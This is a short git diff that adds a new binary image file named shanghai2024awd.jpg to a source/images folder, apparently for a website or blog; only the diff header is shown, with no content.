diff --git a/source/images/shanghai2024awd.jpg b/source/images/shanghai2024awd.jpg
new file mode 100644
index 0000000..db8a870
Binary files /dev/null and b/source/images/shanghai2024awd.jpg differ